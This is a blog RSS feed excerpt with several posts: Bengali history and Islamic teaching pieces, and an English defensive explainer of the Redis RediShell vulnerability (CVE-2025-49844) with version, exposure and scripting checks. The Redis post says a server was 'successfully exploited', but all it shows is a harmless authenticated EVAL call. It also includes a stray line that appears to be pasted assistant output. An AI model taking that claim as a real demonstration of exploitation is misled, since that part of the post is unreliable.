&lt;p&gt;Kazakhstan was left with millions of ethnic Russians in the north. Moldova inherited the Russian-speaking enclave of Transnistria. Georgia contained Abkhazia and South Ossetia, both distinct in language and loyalty. Ukraine’s eastern territories were heavily Russified through industrial migration and forced resettlement. Each of these “accidents” would later erupt into conflict or serve as justification for Russian intervention.&lt;/p&gt;
&lt;p&gt;Historians like Terry Martin and Serhii Plokhy note that the USSR’s nationality policy was both revolutionary and imperial: it celebrated diversity publicly while weaponizing it privately. The result was a geopolitical time bomb. When the Soviet empire fell, its fragments were never designed to live peacefully apart.&lt;/p&gt;
&lt;p&gt;Three decades later, the echo of those borders still shapes Eurasia. The Soviet Union may be gone, but its map endures — drawn not in ink, but in fault lines.&lt;/p&gt;
</content:encoded><atom:updated>2025-10-15T00:00:00.000Z</atom:updated><category>history-geography-politics</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>রাশিয়ার ইতিহাস</title><link>https://hurayraiit.com/blog/russiar-itihash/</link><guid isPermaLink="true">https://hurayraiit.com/blog/russiar-itihash/</guid><description>রাশিয়ার ইতিহাস — কিয়েবান রুশ থেকে মঙ্গোল আক্রমণ, জার আইভান দ্যা টেরিবল এবং সাইবেরিয়া পর্যন্ত সাম্রাজ্য বিস্তারের সংক্ষিপ্ত কালানুক্রমিক বিবরণ।</description><pubDate>Sat, 11 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;রাশিয়া নামে যে একটি দেশ হতে পারে এই ভাবনার শুরু নবম শতাব্দীর দিকে। নিপার নদীর ধারে ছিলো কিয়েভ শহর। সেই সময় কিয়েভ শহরকে কেন্দ্র করে নিপার নদীর আশেপাশের কয়েকটি শহর মিলে একটি ছোটো ফেডারেশন বা যুক্তরাষ্ট্র গঠন করা হয়। এই কাজটি করেছিল কিছু পূর্ব স্লাভিক গোত্রের মানুষেরা। এই অঞ্চলটি এখন ইউক্রেন নামে পরিচিত। তাদের ফেডারেশনের নাম ছিলো &quot;কিয়েবান রুশ&quot;। তবে কিয়েবান রুশকে বর্তমান সময়ের মতো কোনো জাতিরাষ্ট্র বলা চলে না।&lt;/p&gt;
&lt;p&gt;এরপর ত্রয়োদশ শতকে মঙ্গোলরা প্রবল প্রতাপে তাদের সাম্রাজ্য বিস্তার করতে থাকে। সাম্রাজ্য বিস্তারের জন্য মঙ্গোলরা অন্যান্য অঞ্চলের মতো রাশিয়ার ভূমিকেও রেহায় দেয়নি। এই অঞ্চলটি তখন দক্ষিণ এবং পূর্ব দিক থেকে প্রচুর মঙ্গোল আক্রোমণের শিকার হয়। এর জবাবে সদ্য জন্ম নেওয়া সেই রাশিয়া তখন একটু উত্তর-পূর্বে সরে এসে মস্কোকে কেন্দ্র করে তাদের অঞ্চলটিকে নতুনভাবে ঢেলে সাজায়। সেই সময়ের রাশিয়া &quot;গ্র্যান্ড প্রিন্সিপালিটি অফ মস্কোভি&quot; নামে পরিচিত ছিলো। তখন অবশ্য রাশিয়াকে আক্রমণ করা সহজ ছিলো! কারণ, দেশটির কোনো প্রাকৃতিক প্রতিরক্ষা ব্যবস্থা ছিল না। ছিল না কোনো মরুভূমি বা বড় কোনো পর্বত। ছিল শুধু অল্প কয়েকটা নদী। আর &apos;স্তেপ&apos; নামক বিশাল তৃণভূমির দক্ষিণ এবং পূর্বদিকে ওত পেতে ছিল মঙ্গোলরা। এই মঙ্গোলরা ছিল দুর্ধর্ষ যোদ্ধা। তারা চাইলে যে কোনো দিক থেকেই আক্রমণ করতে পারত।&lt;/p&gt;
&lt;p&gt;রাশিয়ার সম্রাটদের বলা হয় &quot;জার&quot;। রাশিয়ার প্রথম জার আইভান দ্যা টেরিবল &quot;আক্রমণই শেষ্ঠ প্রতিরক্ষা&quot; - এই নীতি প্রবর্তন করেন। প্রথমে তিনি দেশের মানুষকে একত্রিত করার উদ্যোগ নেন। জনগণের মধ্যে ঐক্য প্রতিষ্ঠা হওয়ার পর আগের চেয়ে অনেক শক্তিশালী হয়ে ওঠে রাশিয়া। শক্তি সঞ্চয়ের পরে তিনি সাম্রাজ্য বিস্তারের দিকে মনোযোগ দেন। বিশাল রাশিয়া এভাবেই বিশালতর হওয়ার পথে যাত্রা শুরু করে। একা একজন মানুষ কিভাবে ইতিহাস বদলে দিতে পারে তার উৎকৃষ্ট উদাহরণ হলেন জার আইভান দ্যা টেরিবল।&lt;/p&gt;
&lt;p&gt;তার দূরদৃষ্টি আর নির্মমতা ছাড়া রাশিয়ার ইতিহাস সম্পূর্ণ অন্যরকম হতো। রাশিয়ার সম্প্রসারণ নীতি অবশ্য শুরু হয়েছিলো তার দাদু আইভান দ্যা গ্রেটের আমল থেকেই। তবে বুড়ো আইভানের রাজ্য বিস্তারের ঝোঁক ততটা তীব্র ছিল না।১৫৩৩ সালে তার নাতি আইভান দ্যা টেরিবল ক্ষমতায় আসার পর দৃশ্যপট সম্পূর্ণ বদলে যায়। তিনি অধিগ্রহণ করে নেন উরাল পর্বতমালার পূর্বাঞ্চল, ক্যাস্পিয়ান সাগরের দক্ষিণাঞ্চল এবং সুমেরুবৃত্তের উত্তর অংশ। রাশিয়া একে একে কাস্পিয়ান সাগর এবং কৃষ্ণসাগরের কর্তৃত্ব নিয়ে নেয়। এরপর তারা ককেশাস পর্বতমালাকে মঙ্গোলদের বিরুদ্ধে প্রাকৃতিক ঢাল হিসেবে ব্যবহার শুরু করে। চেচনিয়াতেও তারা সেনা ঘাঁটি স্থাপন করে। এভাবে মঙ্গোলদের পাশাপাশি পার্সিয়ান এবং অটোমান সাস্রাজ্যকেও আটকানো সম্ভব হয়।&lt;/p&gt;
&lt;p&gt;এর মাঝে কিছু বাধাবিপত্তি এলেও, রাশিয়া পরের ১০০ বছরে উরাল পর্বত অতিক্রম করে এগিয়ে যায় সাইবেরিয়ার দিকে। ধীরে ধীরে বহুদূর পূর্বের প্রশান্ত মহাসাগরের উপকূল পর্যন্ত দখলে নিয়ে নেয়।&lt;/p&gt;
&lt;p&gt;[রেফারেন্সঃ &lt;a href=&quot;https://rkmri.co/pEANeIAAATyS/&quot;&gt;প্রিজনার্স অব জিওগ্রাফি&lt;/a&gt;]&lt;/p&gt;
</content:encoded><atom:updated>2025-10-11T00:00:00.000Z</atom:updated><category>history-geography-politics</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>লোকমান হাকিমের পরিচয়</title><link>https://hurayraiit.com/blog/about-luqman-hakeem/</link><guid isPermaLink="true">https://hurayraiit.com/blog/about-luqman-hakeem/</guid><description>লোকমান হাকিমের পরিচয় — আল্লাহ কর্তৃক হিকমাহপ্রাপ্ত এই মহান ব্যক্তির জীবন, গুণাবলী এবং কুরআন ও হাদিসের আলোকে তাঁর বিস্তারিত পরিচয়।</description><pubDate>Fri, 10 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;লোকমান একজন মহান ব্যক্তি, আল্লাহ যাকে &apos;হিকমাহ&apos; দান করেছেন। কোরআনে বর্ণিত হয়েছে :&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;আর আমি দান করেছি লোকমানকে হিকমাহ।&quot; (সুরা লোকমান, ৩১ : ১২)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;খালিদ আর রবিয়ি বলেন, লোকমান ছিলেন একজন হাবশি দাস। তাঁর মনিব একদিন তাঁকে বললো, &apos;আমাদের জন্য এই বকরীটি জবাই করো।&apos; তিনি বকরিটি জবাই করলেন। মনিব বললো, &apos;এর থেকে সবচেয়ে উত্তম দুটি অংশ বের করো।&apos; তিনি জিহ্বা এবং কলিজা বের করলেন। এরও কিছুদিন পর মনিব তাঁকে আবার বলল, &apos;আমাদের জন্য এই বকরীটি জবাই করো।&apos; তিনি জবাই করলেন। মনিব বলল, &apos;এর থেকে সবচেয়ে নিকৃষ্ট দুটি অংশ বের করো।&apos; তিনি আবার জিহ্বা এবং কলিজা বের করলেন। মনিব বলল, &apos;তোমাকে উত্তম দুটি অংশ বের করতে বলেছিলাম, তুমি এ দুটিই বের করেছিলে। আর যখন নিকৃষ্ট দুটি অংশ বের করতে বললাম, তখনো এ দুটিই বের করলে!&apos; লোকমান হাকিম বললেন, &apos;এ দুটি অঙ্গ ভালো (কাজে ব্যবহার) হলে এ দুটিই হয়ে ওঠে সর্বোত্তম অঙ্গ। আর যখন সেগুলো মন্দ (কাজে ব্যবহার) হয় তখন হয়ে ওঠে সবচেয়ে নিকৃষ্ট।&apos; (ইবনু কাসির)&lt;/p&gt;
&lt;p&gt;ইমাম কুরতুবি রহিমাহুল্লাহ বলেন, বলা হয় লোকমান ছিলেন আইয়ুব عليه السلام এর খালাতো ভাই অথবা ভাগিনা। একবার কোনো ব্যক্তিকে তাঁর দিকে তাকিয়ে থাকতে দেখে বললেন, &apos;তুমি যদি আমার মোটা ঠোট দুটি দেখে থাকো তাহলে জেনে রাখো, সেখান থেকে খুবই নরম ও সুক্ষ্ম কথা বের হয়। আর আমাকে যদিও কালো দেখছো কিন্তু আমার হৃদয়টা সাদা।&apos;&lt;/p&gt;
&lt;p&gt;[Reference] &lt;a href=&quot;https://rkmri.co/e3e2eee3melp/&quot;&gt;নববি তরবিয়ত – শাইখ জামাল আবদুর রহমান&lt;/a&gt;&lt;/p&gt;
</content:encoded><atom:updated>2025-10-10T00:00:00.000Z</atom:updated><category>islam</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2025-49844: RediShell Redis Lua Sandbox Escape Explained</title><link>https://hurayraiit.com/blog/redishell-cve-2025-49844-the-redis-lua-sandbox-escape-vulnerability/</link><guid isPermaLink="true">https://hurayraiit.com/blog/redishell-cve-2025-49844-the-redis-lua-sandbox-escape-vulnerability/</guid><description>RediShell (CVE-2025-49844) explained — how a 13-year-old use-after-free bug in Redis&apos;s Lua scripting enables full remote code execution by escaping the sandbox.</description><pubDate>Tue, 07 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Understanding the Issue: RediShell (CVE-2025-49844)&lt;/h2&gt;
&lt;p&gt;In October 2025, &lt;a href=&quot;https://www.wiz.io/blog/wiz-research-redis-rce-cve-2025-49844&quot;&gt;Wiz Research&lt;/a&gt; disclosed a critical remote code execution (RCE) vulnerability in Redis, which they named &lt;strong&gt;RediShell (CVE-2025-49844)&lt;/strong&gt;. The vulnerability stems from a &lt;strong&gt;use-after-free (UAF) memory corruption bug&lt;/strong&gt; in the Lua scripting component of Redis, present for over a decade in the codebase.&lt;/p&gt;
&lt;p&gt;Here’s how it works, at a high level:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Redis supports running Lua scripts via commands like &lt;code&gt;EVAL&lt;/code&gt; and &lt;code&gt;EVALSHA&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;An attacker who already has &lt;em&gt;some&lt;/em&gt; access (post-auth) can submit a specially crafted Lua script that manipulates the garbage collector or memory management internals. (&lt;a href=&quot;https://thehackernews.com/2025/10/13-year-redis-flaw-exposed-cvss-100.html&quot;&gt;The Hacker News&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Because of a UAF bug, the script can trick Redis into freeing memory and then reusing it in a way that escapes the sandbox, leading to arbitrary native code execution on the host. (&lt;a href=&quot;https://www.wiz.io/blog/wiz-research-redis-rce-cve-2025-49844&quot;&gt;wiz.io&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Once code execution is achieved, an attacker can fully compromise the host: exfiltrate data, wipe disks, install malware, pivot laterally to other systems, etc. (&lt;a href=&quot;https://www.wiz.io/blog/wiz-research-redis-rce-cve-2025-49844&quot;&gt;wiz.io&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Because Redis is heavily used in cloud and caching architectures, and because many deployments are misconfigured (e.g. exposed to the internet, lacking authentication), the impact is broad. Wiz estimates some 330,000 Redis instances are exposed publicly, with ~60,000 lacking authentication altogether. (&lt;a href=&quot;https://www.wiz.io/blog/wiz-research-redis-rce-cve-2025-49844&quot;&gt;wiz.io&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;It’s also noteworthy that this is the first Redis vulnerability to receive a CVSS 10.0 (maximum severity) rating, underlining its severity. (&lt;a href=&quot;https://www.wiz.io/blog/wiz-research-redis-rce-cve-2025-49844&quot;&gt;wiz.io&lt;/a&gt;)&lt;/p&gt;
&lt;h2&gt;Which Versions Are Vulnerable?&lt;/h2&gt;
&lt;p&gt;According to the Hacker News summary of the Redis advisory, &lt;strong&gt;all versions of Redis with Lua scripting enabled&lt;/strong&gt; are impacted. (&lt;a href=&quot;https://thehackernews.com/2025/10/13-year-redis-flaw-exposed-cvss-100.html&quot;&gt;The Hacker News&lt;/a&gt;)&lt;br /&gt;
However, patched versions have been released to address the vulnerability. The versions that fix the issue include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;6.2.20&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;7.2.11&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;7.4.6&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;8.0.4&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;8.2.2&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Therefore, any Redis version &lt;em&gt;older&lt;/em&gt; than these (in the respective major line) is considered vulnerable if Lua scripting is enabled. Also, even in newer versions, misconfiguration (e.g. allowing scripting or not applying the patch) may still leave you exposed.&lt;/p&gt;
&lt;h2&gt;How to Determine Your Redis Version &amp;amp; Assess Vulnerability&lt;/h2&gt;
&lt;p&gt;Here’s a practical checklist you can use to find out whether &lt;em&gt;your&lt;/em&gt; Redis instance is vulnerable:&lt;/p&gt;
&lt;h3&gt;1. Connect to the Redis instance (locally or via CLI)&lt;/h3&gt;
&lt;p&gt;For example, using &lt;code&gt;redis-cli&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;redis-cli -h &amp;lt;host&amp;gt; -p &amp;lt;port&amp;gt; INFO server | grep redis_version
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This outputs something like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;redis_version:7.0.15
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alternatively, you can run:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;redis-cli -h &amp;lt;host&amp;gt; -p &amp;lt;port&amp;gt; INFO
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and parse the &lt;code&gt;redis_version&lt;/code&gt; field under the &lt;code&gt;[Server]&lt;/code&gt; section.&lt;/p&gt;
&lt;h3&gt;2. Compare version to patched ones&lt;/h3&gt;
&lt;p&gt;If your reported version is &lt;strong&gt;less than&lt;/strong&gt; the patched versions listed above in the same major branch (e.g. less than 7.2.11 if in the 7.x series), then your instance is likely vulnerable—assuming scripting is enabled.&lt;/p&gt;
&lt;p&gt;If it’s equal or greater than the patched version (for that branch), you’re already on the safe side &lt;em&gt;with regard to this specific bug (if patch is correctly applied)&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;3. Check whether Lua scripting is allowed / EVAL commands usable&lt;/h3&gt;
&lt;p&gt;Even a patched version might be misconfigured. You can test whether scripting commands are allowed:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;redis-cli -h &amp;lt;host&amp;gt; -p &amp;lt;port&amp;gt; AUTH &amp;lt;password-if-enabled&amp;gt;
redis-cli -h &amp;lt;host&amp;gt; -p &amp;lt;port&amp;gt; EVAL &quot;return 1&quot; 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the &lt;code&gt;EVAL&lt;/code&gt; command succeeds (returns &lt;code&gt;1&lt;/code&gt;), then scripting is enabled. If you get an error like &lt;code&gt;NOPERM&lt;/code&gt; or “unknown command,” scripting is disabled or controlled by ACLs.&lt;/p&gt;
&lt;p&gt;Alternatively, examine your &lt;code&gt;redis.conf&lt;/code&gt; or ACL policies to see whether commands like &lt;code&gt;EVAL&lt;/code&gt;, &lt;code&gt;EVALSHA&lt;/code&gt;, &lt;code&gt;SCRIPT&lt;/code&gt;, etc., are allowed for your user roles.&lt;/p&gt;
&lt;h2&gt;How to Check Whether Your Redis Is Internet-Accessible&lt;/h2&gt;
&lt;p&gt;Because the vulnerability requires network connectivity (i.e. attacker must reach the Redis service), one key risk is internet exposure. Below are ways you can assess whether your instance is accessible from the internet.&lt;/p&gt;
&lt;h3&gt;1. Port scanning (external)&lt;/h3&gt;
&lt;p&gt;From an external system (not within your internal network or cloud VPC), run a basic port check. For example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -p &amp;lt;redis_port&amp;gt; &amp;lt;public_ip&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If port 6379 (default) or your custom Redis port is open and responding, then your Redis is reachable.&lt;/p&gt;
&lt;h3&gt;2. Check cloud firewall / security group rules&lt;/h3&gt;
&lt;p&gt;If your Redis instance is deployed in a cloud environment (AWS, Azure, GCP, etc.), check the associated security group, network ACL, or firewall settings and inbound rules. If the Redis port (6379 or custom) is allowed from &lt;code&gt;0.0.0.0/0&lt;/code&gt; (i.e. anywhere), it’s exposed. Ensure that inbound access is limited to known IPs or internal subnets.&lt;/p&gt;
&lt;h3&gt;3. Try connecting externally via &lt;code&gt;redis-cli&lt;/code&gt; (from outside)&lt;/h3&gt;
&lt;p&gt;From a remote host:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;redis-cli -h &amp;lt;public_ip&amp;gt; -p &amp;lt;port&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you get a prompt or a connection (even an authentication prompt), the instance is reachable. If connection times out or is blocked, it’s likely firewalled.&lt;/p&gt;
&lt;h2&gt;Mitigations &amp;amp; Remediation Steps (brief)&lt;/h2&gt;
&lt;p&gt;(Though your request didn’t ask explicitly, it’s useful to include.)&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Upgrade immediately&lt;/strong&gt; to the patched versions listed above.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Disable or restrict Lua scripting&lt;/strong&gt;: If you don’t need scripting, disable it or restrict via ACLs.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Require authentication&lt;/strong&gt;: Use &lt;code&gt;requirepass&lt;/code&gt; or ACL-based authentication so that anonymous access is prevented.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Disable unnecessary commands&lt;/strong&gt; via ACLs (e.g. block &lt;code&gt;EVAL&lt;/code&gt;, &lt;code&gt;EVALSHA&lt;/code&gt;).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Run Redis under least privilege&lt;/strong&gt; (non-root, minimal permissions).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Add network-level controls / firewall restrictions&lt;/strong&gt; so only trusted addresses or internal networks can talk to Redis.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Let&apos;s test this with xCloud hosted servers&lt;/h2&gt;
&lt;h3&gt;Step 01: Check Redis version&lt;/h3&gt;
&lt;p&gt;We can run the following command and find out the Redis version on our xCloud server:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;redis-cli --version
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;❌ The Redis version running on our xCloud server is vulnerable.&lt;/p&gt;
&lt;h3&gt;Step 02: Check if Redis is exploitable or not&lt;/h3&gt;
&lt;p&gt;Let&apos;s first check if Redis allows connections from the internet or not on our xCloud servers using the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep &quot;^bind&quot; /etc/redis/redis.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;❌ This means Redis listens on &lt;em&gt;every&lt;/em&gt; available IPv4 address on our system — including &lt;strong&gt;public IPs&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;However&lt;/strong&gt;, xCloud&apos;s built-in firewall feature does not allow connections to port &lt;strong&gt;6379&lt;/strong&gt; by default. So xCloud servers &amp;amp; users are safe from this vulnerability. ✅&lt;/p&gt;
&lt;p&gt;But for testing purposes, let&apos;s allow the port &lt;strong&gt;6379&lt;/strong&gt; for a brief period to exploit it.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;We intentionally opened the port to the internet to make the vulnerability exploitable. &lt;strong&gt;&lt;em&gt;DO NOT DO THIS AT HOME&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;Step 03: Let&apos;s try to exploit the vulnerability&lt;/h3&gt;
&lt;p&gt;We will try to connect to our Redis server from another machine. We will run the following command to try to exploit the vulnerability:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;redis-cli -h 15x.xx.xx.x5  -p 6379  EVAL &quot;return 1&quot; 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;✅ This means xCloud server&apos;s Redis requires authentication. So even if port 6379 is open, the attacker must have access to a Redis account credentials to exploit this.&lt;/p&gt;
&lt;p&gt;Let&apos;s go even further, and say that one of our sites got hacked and the attacker received the Redis credentials for that site.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Now using the provided Redis credentials we can use the following command to actually exploit the vulnerability:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;redis-cli -u redis://username:Passwordu@1xx.xx.xx.x5:6379 EVAL &quot;return 1&quot; 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Finally, we have been able to successfully exploit our xCloud server using the latest Redis vulnerability.&lt;/p&gt;
&lt;h3&gt;Summary (TL;DR)&lt;/h3&gt;
&lt;p&gt;❌ The Redis version running on xCloud servers is vulnerable to CVE-2025-49844&lt;/p&gt;
&lt;p&gt;✅ But, xCloud users are &lt;strong&gt;safe and protected&lt;/strong&gt; by xCloud&apos;s firewall and ACL.&lt;/p&gt;
</content:encoded><atom:updated>2025-10-07T00:00:00.000Z</atom:updated><category>security</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>শিশুর সংশোধন - প্রশংসা ও উপদেশ</title><link>https://hurayraiit.com/blog/shishuder-jonno-proshongsha-o-upodesh/</link><guid isPermaLink="true">https://hurayraiit.com/blog/shishuder-jonno-proshongsha-o-upodesh/</guid><description>শিশুর সংশোধনে প্রশংসা ও উপদেশের ভূমিকা — ইবনু উমর ও ইমাম গাযালির উদ্ধৃতিতে ইসলামী শিশু প্রতিপালনের কার্যকর পদ্ধতি ও শিক্ষা।</description><pubDate>Sun, 05 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;আব্দুল্লাহ ইবনু উমর رضي الله عنه বলেন, আমি ছিলাম অবিবাহিত এক যুবক। রাসুলের যুগে আমি মসজিদে ঘুমাতাম। একদিন স্বপ্ন দেখি দুজন ফিরিশতা এসে আমাকে ধরে জাহান্নামের দিকে নিয়ে চললো। আমরা আরেক ফিরিশতার সাথে সাক্ষাৎ করলাম। সে আমাকে বললো, &apos;তোমাকে তো রক্ষা করা যাবে না।&apos; ইবনু উমর رضي الله عنه বলেন, হাফসার কাছে আমি ঘটনাটি খুলে বললাম। সে রাসুলের কাছে উপস্থাপন করলো। রাসুল ﷺ বললেন, &apos;আব্দুল্লাহ তো উত্তম লোক। সে যদি রাতের কিছু অংশে সালাত পড়তো!&apos; রাসুলের এ কথা শোনার পর ইবনু উমর رضي الله عنه রাতে খুব অল্প সময়ই ঘুমাতেন। (বুখারি, মুসলিম)&lt;/p&gt;
&lt;p&gt;রাসুলের ﷺ মুখে একটুখানি প্রশংসা ইবনু উমরের মনে কতটা উদ্দীপনা তৈরি করেছে যে তিনি রাতের অধিকাংশ সময় সালাতেই কাটিয়ে দিতেন!&lt;/p&gt;
&lt;p&gt;ইমাম গাযালি রহিমাহুল্লাহ বলেন, শিশুর মাঝে যখন সুন্দর আচরণের প্রকাশ ঘটবে, ভালো কোনো কাজ তার দ্বারা সংঘটিত হবে তখন তাকে স্নেহ করা উচিত। পুরস্কার দিয়ে উৎসাহিত করা উচিত। মানুষের সামনে তার প্রশংসা করলে ভালো কাজের প্রতি সে আরও উৎসাহিত হবে।&lt;/p&gt;
&lt;p&gt;আর যখন শিশুর থেকে এর বিপরীত কোনো আচরণ বা কাজ অর্থাৎ মন্দ কিছু তার দ্বারা সংঘটিত হবে এবং সে তা লুকাতে চেষ্টা করবে, তখন প্রথমে অভিভাবক দেখেও না দেখার ভান করবে। কাজটি যদি পুনরায় তার দ্বারা সংঘটিত হয় তাহলে সবার সামনে তাকে পাকড়াও না করে আড়ালে নিয়ে উপদেশ দেবে, মৃদু তিরস্কার করবে। এতে তার লাজ বজায় থাকবে এবং সে নির্লজ্জ হয়ে পড়বে না। তার কৃত মন্দ বিষয়টির দিকগুলো তাকে বুঝিয়ে বলবে। সঠিক বিষয়টি খুলে বলবে। আর পরে যেন এই কাজ না করে সে ব্যাপারে সতর্ক করবে। বলবে, আবার যদি এ কাজ করো, তাহলে সবাইকে জানিয়ে দেবো। (ইহইয়া উলুমিদ্দিন: ৩/৬৩)&lt;/p&gt;
&lt;p&gt;[Reference] &lt;a href=&quot;https://rkmri.co/e3e2eee3melp/&quot;&gt;নববি তরবিয়ত – শাইখ জামাল আবদুর রহমান&lt;/a&gt;&lt;/p&gt;
</content:encoded><atom:updated>2025-10-05T00:00:00.000Z</atom:updated><category>islam</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>দুঃখ ও মুসিবতে ধৈর্যধারণ</title><link>https://hurayraiit.com/blog/dukkho-o-musibote-dhorjo-dharon/</link><guid isPermaLink="true">https://hurayraiit.com/blog/dukkho-o-musibote-dhorjo-dharon/</guid><description>দুঃখ ও মুসিবতে ধৈর্যধারণ — সাহাবি আউফের বন্দিত্ব ও লা হাওলার বরকতে মুক্তির অলৌকিক ঘটনা এবং তাওয়াক্কুলের ফজিলত।</description><pubDate>Sat, 04 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;ইবনু আবি হাতিমের রিওয়ায়েতে আছে, মুহাম্মাদ বিন ইসহাক বলেন, মালিক আল আশজায়ি রাসুলের ﷺ কাছে এসে বললেন, আমার ছেলে আউফ বন্দী হয়ে গেছে। রাসুল তাকে বললেন, &apos;তোমার ছেলের কাছে এ কথার সংবাদ পাঠাও, রাসুল ﷺ তোমাকে বেশি বেশি লা হাওলা ওয়া লা কুওয়াতা ইল্লা বিল্লাহ পড়তে বলেছেন।&apos;&lt;/p&gt;
&lt;p&gt;কাফিররা তাকে চামড়ার দড়ি দিয়ে বেধে রেখেছিলো। হঠাৎ সেটা খুলে পড়ে গেল। তিনি বেরিয়ে এলেন। একটি উটনী দেখে তাতে চড়ে বসলেন। কিছুটা এগিয়ে দেখতে পেলেন শত্রুদের চারণভূমিতে তাদের পশুগুলো চড়ে বেড়াচ্ছে। তিনি একটি আওয়াজ দিলেন। গোটা পশুপাল তার পিছে পিছে চলতে লাগলো।&lt;/p&gt;
&lt;p&gt;বাড়িতে বসে তার মা-বাবা চিন্তা করছিলেন। তারা হঠাৎ দরজায় তাদের ছেলে আউফের কন্ঠ শুনতে পেলেন। তার বাবা বলে উঠলেন, কা&apos;বার রবের শপথ, এটা তো আউফের গলা! তারা উভয়ে এবং তাদের খাদেম দৌড়ে গিয়ে দরজা খুললেন। দেখতে পেলেন আউফ رضي الله عنه দাঁড়িয়ে আছেন। গোটা উঠান উট দিয়ে ভরে গেছে। তিনি তার বাবাকে সব খুলে বললেন। তার বাবা বললেন, তোমরা একটু দাঁড়াও, আমি রাসুলের কাছে জিজ্ঞেস করে আসি। রাসুলের কাছে পৌঁছে তিনি আউফ এবং উটের পালের বিবরণটি শোনালেন। রাসুল ﷺ তাকে বললেন,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;এগুলো নিয়ে যা ইচ্ছে করতে পারো। তুমি তোমার সম্পদেই হস্তক্ষেপ করছো।&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;অতঃপর এ আয়াতটি নাজিল হলোঃ&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;এবং তিনি তাকে এমন উৎস থেকে রিজিক দেবেন যা সে কল্পনাও করতে পারবে না। আর যে আল্লাহর উপর তাওয়াক্কুল করে আল্লাহ তার জন্য যথেষ্ট।&quot; (সুরা আত তালাক, ৬৫ঃ ২, ৩)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;[Reference] &lt;a href=&quot;https://rkmri.co/e3e2eee3melp/&quot;&gt;নববি তরবিয়ত – শাইখ জামাল আবদুর রহমান&lt;/a&gt;&lt;/p&gt;
